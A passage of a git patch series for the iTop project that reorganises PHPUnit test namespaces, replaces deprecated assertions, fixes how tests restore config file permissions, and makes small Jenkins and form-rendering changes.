- 'label' => 'TimeTracking:ReportActivityPerCustomer', - ), - ), - ), -); - -/** - * - * Data model modules to be loaded. Names are specified as relative paths - * - */ -$MyModules = array( - 'addons' => array( - 'user rights' => 'addons/userrights/userrightsprofile.class.inc.php', - ), -); -?> \ No newline at end of file diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php deleted file mode 100644 index 5c64b2ea2..000000000 --- a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php +++ /dev/null @@ -1,69 +0,0 @@ -RequireOnceItopFile('env-production/itop-config/src/Validator/iTopConfigAstValidator.php'); - $this->RequireOnceItopFile('env-production/itop-config/src/Validator/ConfigNodesVisitor.php'); - } - - public function testValidateFileValid() - { - try { - $this->CallValidatorOnFile('config-itop_VALID.php'); - } - catch (Exception $e) { - $this->fail('An exception was thrown by the validation method on a valid file: '.$e->getMessage()); - } - - $this->assertTrue(true, 'The file is valid and interpreted as such'); - } - - public function testValidateFileValidLogLevelMinConst() - { - $this->markTestSkipped(' disabled test, is failing for now with error "Invalid configuration: LEVEL_WARNING of type Identifier is forbidden in line 152"'); - try { - $this->CallValidatorOnFile('config-itop_VALID_log-level-min_const.php'); - } - catch (Exception $e) { - $this->fail('An exception was thrown by the validation method on a valid file: '.$e->getMessage()); - } - - $this->assertTrue(true, 'The file is valid and interpreted as such'); - } - - public function testValidateFileWithCode() - { - $this->expectExceptionMessage('type Stmt_Function is forbidden'); - $this->CallValidatorOnFile('config-itop_KO_function.php'); - } - - public function testValidateFileValidWithCodeAtTheEnd() - { - $this->expectExceptionMessage('Stmt_Echo is forbidden'); - $this->CallValidatorOnFile('config-itop_KO_config_plus_code.php'); - } - - /** - * @throws \Exception - */ - private function CallValidatorOnFile(string $sConfigFilePath) - { - $sContents = file_get_contents(__DIR__.DIRECTORY_SEPARATOR.$sConfigFilePath); - - $oiTopConfigValidator = new iTopConfigAstValidator(); - $oiTopConfigValidator->Validate($sContents); - } -} \ No newline at end of file diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php index e49ae24e6..36afd75f0 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php @@ -5,7 +5,7 @@ * Time: 09:14 */ -namespace coreExtensions; +namespace Combodo\iTop\Test\UnitTest\Module\AuthentLocal; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigPlaceholdersResolverTest.php similarity index 99% rename from tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigPlaceholdersResolverTest.php index b4e51ea06..e8c17c1cb 100644 --- a/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigPlaceholdersResolverTest.php @@ -19,7 +19,7 @@ * */ -namespace Combodo\iTop\Test\UnitTest\Core; +namespace Combodo\iTop\Test\UnitTest\Module\iTopConfig; use Combodo\iTop\Test\UnitTest\ItopTestCase; use ConfigPlaceholdersResolver; diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php similarity index 98% rename from tests/php-unit-tests/unitary-tests/core/ConfigTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php index 8ab3febc2..60c72ea48 100644 --- a/tests/php-unit-tests/unitary-tests/core/ConfigTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php @@ -19,7 +19,7 @@ * */ -namespace Combodo\iTop\Test\UnitTest\Core; +namespace Combodo\iTop\Test\UnitTest\Module\iTopConfig; use Combodo\iTop\Test\UnitTest\ItopTestCase; use Config; diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest/config-itop-joker.php similarity index 100% rename from tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-joker.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest/config-itop-joker.php diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest/config-itop-var.php similarity index 100% rename from tests/php-unit-tests/unitary-tests/core/ConfigTest/config-itop-var.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest/config-itop-var.php diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php index c94292bee..1d14f1ccc 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php @@ -5,7 +5,7 @@ * Time: 12:31 */ -namespace Combodo\iTop\Config\Test\Validator; +namespace Combodo\iTop\Test\UnitTest\Module\iTopConfig\Validator; use Combodo\iTop\Config\Validator\iTopConfigAstValidator; use Combodo\iTop\Test\UnitTest\ItopTestCase; @@ -43,7 +43,6 @@ class iTopConfigAstValidatorTest extends ItopTestCase } } - public function InvalidDataProvider() { return array( diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php index fc361a503..b15bcb391 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php @@ -5,7 +5,7 @@ * Time: 12:31 */ -namespace Combodo\iTop\Config\Test\Validator; +namespace Combodo\iTop\Test\UnitTest\Module\iTopConfig\Validator; use Combodo\iTop\Config\Validator\iTopConfigAstValidator; use Combodo\iTop\Config\Validator\iTopConfigSyntaxValidator; diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php index 486f1eb55..9af54c08d 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php @@ -24,7 +24,7 @@ * Time: 13:34 */ -namespace Combodo\iTop\Test\UnitTest\iTopTickets; +namespace Combodo\iTop\Test\UnitTest\Module\iTopTickets; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; use Exception; diff --git a/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php b/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php index 390082d16..9506b5a59 100644 --- a/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php @@ -1,6 +1,6 @@ Date: Tue, 10 Jan 2023 23:02:54 +0100 Subject: [PATCH 111/230] =?UTF-8?q?N=C2=B05608=20-=20Harmonize=20namespace?= =?UTF-8?q?s=20and=20merge=20duplicated=20test=20files?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/application/SCSSCompilationTest.php | 3 +++ .../unitary-tests/application/Session/SessionTest.php | 2 ++ .../unitary-tests/application/ThemeHandlerTest.php | 4 ++++ .../unitary-tests/core/iTopConfigParserTest.php | 6 ++++++ tests/php-unit-tests/unitary-tests/setup/MFCompilerTest.php | 6 ++++++ .../unitary-tests/sources/Composer/iTopComposerTest.php | 2 ++ .../sources/application/Helper/WebResourcesHelperTest.php | 1 + .../sources/application/RuntimeDashboardTest.php | 4 ++++ .../unitary-tests/sources/application/TestAutoload.php | 2 ++ .../sources/application/TwigBase/Twig/TwigTest.php | 3 ++- 10 files changed, 32 insertions(+), 1 deletion(-) diff --git a/tests/php-unit-tests/unitary-tests/application/SCSSCompilationTest.php b/tests/php-unit-tests/unitary-tests/application/SCSSCompilationTest.php index bb47ef516..027a49307 100644 --- a/tests/php-unit-tests/unitary-tests/application/SCSSCompilationTest.php +++ b/tests/php-unit-tests/unitary-tests/application/SCSSCompilationTest.php @@ -4,7 +4,10 @@ * @license http://opensource.org/licenses/AGPL-3.0 */ +namespace Combodo\iTop\Test\UnitTest\Application; + use Combodo\iTop\Test\UnitTest\ItopTestCase; +use utils; class SCSSCompilationTest extends ItopTestCase { diff --git a/tests/php-unit-tests/unitary-tests/application/Session/SessionTest.php b/tests/php-unit-tests/unitary-tests/application/Session/SessionTest.php index fbc598da6..8d8e31682 100644 --- a/tests/php-unit-tests/unitary-tests/application/Session/SessionTest.php +++ b/tests/php-unit-tests/unitary-tests/application/Session/SessionTest.php @@ -1,5 +1,7 @@ Date: Wed, 11 Jan 2023 10:02:59 +0100 Subject: [PATCH 112/230] :art: :white_check_mark: StatusIncTest : fix phpdoc, replace `@expectedException` --- .../application/status/StatusIncTest.php | 29 +++++-------------- 1 file changed, 8 insertions(+), 21 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php index c53240572..c09ae0731 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php @@ -1,21 +1,12 @@ InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, [$sConfigFilenamewrong]); } - /** - * - */ public function testStatusCheckConfigFileGood() { $oStatus = new Status(); $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, []); @@ -82,10 +70,9 @@ class StatusIncTest extends ItopTestCase { $this->assertTrue(true); } - /** - * @expectedException \MySQLException - */ - public function testStatusStartupWrongDbPwd() { + public function testStatusStartupWrongDbPwd() + { + $this->expectException(MySQLException::class); $oStatus = new Status(); $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, []); @@ -93,9 +80,9 @@ class StatusIncTest extends ItopTestCase { $this->RequireOnceItopFile('application/utils.inc.php'); $this->RequireOnceItopFile('core/contexttag.class.inc.php'); - $oConfigWrong = new Config(ITOP_DEFAULT_CONFIG_FILE); - $oConfigWrong->Set('db_pwd', $oConfigWrong->Get('db_pwd') . '_unittest'); - $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusStartup", $oStatus, [$oConfigWrong]); + $oConfigWrong = new Config(ITOP_DEFAULT_CONFIG_FILE); + $oConfigWrong->Set('db_pwd', $oConfigWrong->Get('db_pwd').'_unittest'); + $this->InvokeNonPublicMethod(Status::class, "StatusStartup", $oStatus, [$oConfigWrong]); } /** From 030f1e24631f0a41ea2c20ed1f602e0301119b89 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 11 Jan 2023 10:28:32 +0100 Subject: [PATCH 113/230] :white_check_mark: Fix Status test --- .../sources/application/status/StatusIncTest.php | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php index c09ae0731..92d1dfbbf 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php @@ -72,17 +72,14 @@ class StatusIncTest extends ItopTestCase { public function testStatusStartupWrongDbPwd() { - $this->expectException(MySQLException::class); - $oStatus = new Status(); - $this->InvokeNonPublicMethod("Combodo\iTop\Application\Status\Status", "StatusCheckConfigFile", $oStatus, []); - $this->RequireOnceItopFile('core/cmdbobject.class.inc.php'); $this->RequireOnceItopFile('application/utils.inc.php'); $this->RequireOnceItopFile('core/contexttag.class.inc.php'); $oConfigWrong = new Config(ITOP_DEFAULT_CONFIG_FILE); $oConfigWrong->Set('db_pwd', $oConfigWrong->Get('db_pwd').'_unittest'); - $this->InvokeNonPublicMethod(Status::class, "StatusStartup", $oStatus, [$oConfigWrong]); + $this->expectException(MySQLException::class); + new Status($oConfigWrong); } /** From 1271a895d1da6b346056fb8a19cb49c1a5a70e11 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 11 Jan 2023 11:59:01 +0100 Subject: [PATCH 114/230] =?UTF-8?q?N=C2=B05857=20-=20PHPUnit:=20Replace=20?= =?UTF-8?q?usage=20of=20deprecated=20assetContains=20with=20assertStringCo?= =?UTF-8?q?ntainsString?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php b/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php index 29af23830..62c7262fd 100644 --- a/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php +++ b/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php @@ -343,7 +343,7 @@ class DataSynchroTest extends ItopDataTestCase $aKeys = ["creation", "update", "deletion"]; foreach ($aKeys as $sKey){ - $this->assertContains("$sKey errors: 0", $sResultsViewable, "step $iRow : below res should contain '$sKey errors: 0': " . $sResultsViewable); + $this->assertStringContainsString("$sKey errors: 0", $sResultsViewable, "step $iRow : below res should contain '$sKey errors: 0': " . $sResultsViewable); } //N°3805 : potential javascript returned like From 16390c9b003d56d63695b1a8aa93ecfafc696859 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 11 Jan 2023 13:26:54 +0100 Subject: [PATCH 115/230] =?UTF-8?q?N=C2=B05857=20-=20PHPUnit:=20Replace=20?= =?UTF-8?q?usage=20of=20deprecated=20assetContains=20with=20assertStringCo?= =?UTF-8?q?ntainsString?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/MetaModelTest.php | 2 +- .../unitary-tests/core/TriggerTest.php | 2 +- .../datamodels/2.x/itop-config/ConfigTest.php | 2 +- .../unitary-tests/webservices/RestTest.php | 26 +++++++++---------- 4 files changed, 16 insertions(+), 16 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php b/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php index 3a9b860cc..4e4b0d961 100644 --- a/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php +++ b/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php @@ -334,7 +334,7 @@ class MetaModelTest extends ItopDataTestCase try { MetaModel::GetEnumStyle('Contact', 'name', ''); } catch (CoreException $e) { - self::assertContains('AttributeEnum', $e->getMessage()); + self::assertStringContainsString('AttributeEnum', $e->getMessage()); return; } diff --git a/tests/php-unit-tests/unitary-tests/core/TriggerTest.php b/tests/php-unit-tests/unitary-tests/core/TriggerTest.php index 341dccfbf..333a6082c 100644 --- a/tests/php-unit-tests/unitary-tests/core/TriggerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/TriggerTest.php @@ -60,7 +60,7 @@ class TriggerTest extends ItopDataTestCase $this->assertEquals('Unknown class \'Toto\' (TriggerOnObjectCreate::-1 ()
)', $e1->getMessage()); $fullStackTraceAsString = $e1->getFullStackTraceAsString(); - $this->assertContains("MetaModel::NewObject", $fullStackTraceAsString,"new enriched exception should contain root cause method: " . $fullStackTraceAsString); + $this->assertStringContainsString("MetaModel::NewObject", $fullStackTraceAsString,"new enriched exception should contain root cause method: " . $fullStackTraceAsString); } } diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php index 367b28a3e..29871f422 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/ConfigTest.php @@ -60,7 +60,7 @@ class ConfigTest extends ItopTestCase $this->assertFileExists($sTmpFile); $sFileContent = file_get_contents($sTmpFile); - $this->assertContains($sExpectedContains, $sFileContent, "File content doesn't contain : ".$sExpectedContains); + $this->assertStringContainsString($sExpectedContains, $sFileContent, "File content doesn't contain : ".$sExpectedContains); } public function ProviderPreserveVarOnWriteToFile() diff --git a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php index d71cefa86..37fad99c0 100644 --- a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php +++ b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php @@ -71,14 +71,14 @@ class RestTest extends ItopDataTestCase $aJson = json_decode($sOuputJson, true); if ($this->iJsonDataMode === self::MODE['NO_JSONDATA']){ - $this->assertContains("3", "".$aJson['code'], $sOuputJson); - $this->assertContains("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); + $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; } - $this->assertContains("0", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("0", "".$aJson['code'], $sOuputJson); $sUserRequestKey = $this->array_key_first($aJson['objects']); - $this->assertContains('UserRequest::', $sUserRequestKey); + $this->assertStringContainsString('UserRequest::', $sUserRequestKey); $iId = $aJson['objects'][$sUserRequestKey]['key']; $sExpectedJsonOuput=<<iJsonDataMode === self::MODE['NO_JSONDATA']){ - $this->assertContains("3", "".$aJson['code'], $sOuputJson); - $this->assertContains("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); + $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; } - $this->assertContains("0", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("0", "".$aJson['code'], $sOuputJson); $sUserRequestKey = $this->array_key_first($aJson['objects']); - $this->assertContains('UserRequest::', $sUserRequestKey); + $this->assertStringContainsString('UserRequest::', $sUserRequestKey); $iId = $aJson['objects'][$sUserRequestKey]['key']; //update ticket @@ -164,21 +164,21 @@ JSON; $aJson = json_decode($sOuputJson, true); if ($this->iJsonDataMode === self::MODE['NO_JSONDATA']){ - $this->assertContains("3", "".$aJson['code'], $sOuputJson); - $this->assertContains("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); + $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; } - $this->assertContains("0", "".$aJson['code'], $sOuputJson); + $this->assertStringContainsString("0", "".$aJson['code'], $sOuputJson); $sUserRequestKey = $this->array_key_first($aJson['objects']); - $this->assertContains('UserRequest::', $sUserRequestKey); + $this->assertStringContainsString('UserRequest::', $sUserRequestKey); $iId = $aJson['objects'][$sUserRequestKey]['key']; //delete ticket $sExpectedJsonOuput=<<assertContains($sExpectedJsonOuput, $this->DeleteTicketFromApi($iId)); + $this->assertStringContainsString($sExpectedJsonOuput, $this->DeleteTicketFromApi($iId)); $sExpectedJsonOuput=<< Date: Wed, 11 Jan 2023 13:41:01 +0100 Subject: [PATCH 116/230] =?UTF-8?q?N=C2=B04660=20-=20Fix=20data=20synchro?= =?UTF-8?q?=20unit=20test=20failure=20due=20to=20another=20test=20not=20re?= =?UTF-8?q?storing=20correct=20user=20permissions=20on=20conf=20file?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php index 2bb1bd54e..05c1d2e7e 100644 --- a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php +++ b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php @@ -46,6 +46,7 @@ class iTopConfigParserTest extends ItopTestCase // restoring config that was in place before the test @chmod($this->sConfigPath, 0770); // RWX for owner and group, nothing for others : else we will have permission denied ! rename($this->tmpSavePath, $this->sConfigPath); + @chmod($this->sConfigPath, 0444); } } From b9ed00d53ff739bbb015ef080c070d0f80678dc7 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 11 Jan 2023 15:25:07 +0100 Subject: [PATCH 117/230] =?UTF-8?q?N=C2=B04660=20Fix=20iTopConfigParserTes?= =?UTF-8?q?t=20setting=20permissions=20of=20iTop=20config=20file=20Alterna?= =?UTF-8?q?tive=20method=20to=20restore=20config=20file=20chmod=20cannot?= =?UTF-8?q?=20be=20used=20with=20+w=20In=20\Config::WriteToFile=20we=20are?= =?UTF-8?q?=20using=20fopen=20with=20mode=3Dw,=20so=20using=20the=20same?= =?UTF-8?q?=20In=20consequence=20we=20are=20not=20modifying=20anymore=20th?= =?UTF-8?q?e=20iTop=20config=20file=20permissions=20\o/?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/iTopConfigParserTest.php | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php index 05c1d2e7e..fd47d9a74 100644 --- a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php +++ b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php @@ -44,9 +44,10 @@ class iTopConfigParserTest extends ItopTestCase parent::tearDown(); if ($this->conf_exists) { // restoring config that was in place before the test - @chmod($this->sConfigPath, 0770); // RWX for owner and group, nothing for others : else we will have permission denied ! - rename($this->tmpSavePath, $this->sConfigPath); - @chmod($this->sConfigPath, 0444); + $sBackupConfigFileContent = file_get_contents($this->tmpSavePath); + $hItopConfigFile = @fopen($this->sConfigPath, 'w'); + fwrite($hItopConfigFile, $sBackupConfigFileContent); + fclose($hItopConfigFile); } } From c696a81c3a22caf3ab90a4e51e5acec347d1b6e4 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 12 Jan 2023 10:42:06 +0100 Subject: [PATCH 118/230] =?UTF-8?q?N=C2=B05821=20JenkinsFile=20:=20introdu?= =?UTF-8?q?ce=20buildDiscarder?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Jenkinsfile | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/Jenkinsfile b/Jenkinsfile index 56f298717..ca7548d2a 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -1,6 +1,14 @@ def infra node(){ + properties([ + buildDiscarder( + logRotator( + daysToKeepStr: "28", + numToKeepStr: "500") + ) + ]) + checkout scm infra = load '/var/lib/jenkins/workspace/itop-test-infra_master/src/Infra.groovy' From d7b94fb123b70ca32f16d0c4811b1a3504a13a48 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 12 Jan 2023 10:42:52 +0100 Subject: [PATCH 119/230] =?UTF-8?q?N=C2=B03769=20Add=20data-input-type=20H?= =?UTF-8?q?TML=20attribute=20to=20fields=20in=20a=20transition=20form=20Wa?= =?UTF-8?q?s=20only=20present=20in=20object=20edit=20mode=20:(?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/cmdbabstract.class.inc.php | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/application/cmdbabstract.class.inc.php b/application/cmdbabstract.class.inc.php index c75e8017f..a32de59e4 100644 --- a/application/cmdbabstract.class.inc.php +++ b/application/cmdbabstract.class.inc.php @@ -3409,9 +3409,10 @@ EOF } } } + $sInputType = ''; $sHTMLValue = cmdbAbstractObject::GetFormElementForField($oPage, $sClass, $sAttCode, $oAttDef, $this->Get($sAttCode), $this->GetEditValue($sAttCode), 'att_'.$iFieldIndex, '', $iExpectCode, - $aArgs); + $aArgs, true, $sInputType); $aAttrib = array( 'label' => ''.$oAttDef->GetLabel().'', 'value' => "$sHTMLValue", @@ -3428,13 +3429,13 @@ EOF $aAttrib['atttype'] = $sAttDefClass; $aAttrib['attlabel'] = $sAttLabel; // - Attribute flags - $aAttrib['attflags'] = $this->GetFormAttributeFlags($sAttCode) ; + $aAttrib['attflags'] = $this->GetFormAttributeFlags($sAttCode); // - How the field should be rendered $aAttrib['layout'] = (in_array($oAttDef->GetEditClass(), static::GetAttEditClassesToRenderAsLargeField())) ? 'large' : 'small'; + $aAttrib['inputtype'] = $sInputType; // - For simple fields, we get the raw (stored) value as well $bExcludeRawValue = false; - foreach (static::GetAttDefClassesToExcludeFromMarkupMetadataRawValue() as $sAttDefClassToExclude) - { + foreach (static::GetAttDefClassesToExcludeFromMarkupMetadataRawValue() as $sAttDefClassToExclude) { if (is_a($sAttDefClass, $sAttDefClassToExclude, true)) { $bExcludeRawValue = true; break; From f65e14397cb61f32248acfaab48efb56402723a7 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 16 Jan 2023 11:15:54 +0100 Subject: [PATCH 120/230] =?UTF-8?q?:white=5Fcheck=5Fmark:=20N=C2=B04660=20?= =?UTF-8?q?Fix=20permissions=20changes=20in=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/OQLTest.php | 16 +++++++------- .../core/iTopConfigParserTest.php | 6 +++++- .../unitary-tests/webservices/RestTest.php | 21 ++++++++----------- 3 files changed, 23 insertions(+), 20 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/OQLTest.php b/tests/php-unit-tests/unitary-tests/core/OQLTest.php index c6f71058b..bf25ccf54 100644 --- a/tests/php-unit-tests/unitary-tests/core/OQLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/OQLTest.php @@ -38,14 +38,16 @@ class OQLTest extends ItopDataTestCase */ public function testOQLSetup() { - utils::GetConfig()->Set('use_legacy_dbsearch', false, 'test'); - utils::GetConfig()->Set('apc_cache.enabled', false, 'test'); - utils::GetConfig()->Set('query_cache_enabled', false, 'test'); - utils::GetConfig()->Set('expression_cache_enabled', false, 'test'); - $sConfigFile = utils::GetConfig()->GetLoadedFile(); + $oConfig = utils::GetConfig(); + $oConfig->Set('use_legacy_dbsearch', false, 'test'); + $oConfig->Set('apc_cache.enabled', false, 'test'); + $oConfig->Set('query_cache_enabled', false, 'test'); + $oConfig->Set('expression_cache_enabled', false, 'test'); + + $sConfigFile = $oConfig->GetLoadedFile(); @chmod($sConfigFile, 0770); - utils::GetConfig()->WriteToFile(); - @chmod($sConfigFile, 0444); // Read-only + $oConfig->WriteToFile(); + @chmod($sConfigFile, 0444); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php index 78addc558..335016c39 100644 --- a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php +++ b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php @@ -35,7 +35,11 @@ class iTopConfigParserTest extends ItopTestCase { parent::tearDown(); if ($this->conf_exists) { - rename($this->tmpSavePath, $this->sConfigPath); + // restoring config that was in place before the test + @chmod($this->sConfigPath, 0770); + $bRenameResult = rename($this->tmpSavePath, $this->sConfigPath); + echo "Restored config file, result={$bRenameResult}"; + @chmod($this->sConfigPath, 0440); } } diff --git a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php index 16604009d..3d0170d0a 100644 --- a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php +++ b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php @@ -35,20 +35,16 @@ class RestTest extends ItopDataTestCase unlink($this->sTmpFile); } - $sConfigFile = \utils::GetConfig()->GetLoadedFile(); - @chmod($sConfigFile, 0770); - $this->sUrl = \MetaModel::GetConfig()->Get('app_root_url'); - @chmod($sConfigFile, 0444); // Read-only + $this->sUrl = \MetaModel::GetConfig()->Get('app_root_url'); - $oRestProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'REST Services User'), true); - $oAdminProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'Administrator'), true); + $oRestProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'REST Services User'), true); + $oAdminProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'Administrator'), true); - if (is_object($oRestProfile) && is_object($oAdminProfile)) - { - $oUser = $this->CreateUser($this->sLogin, 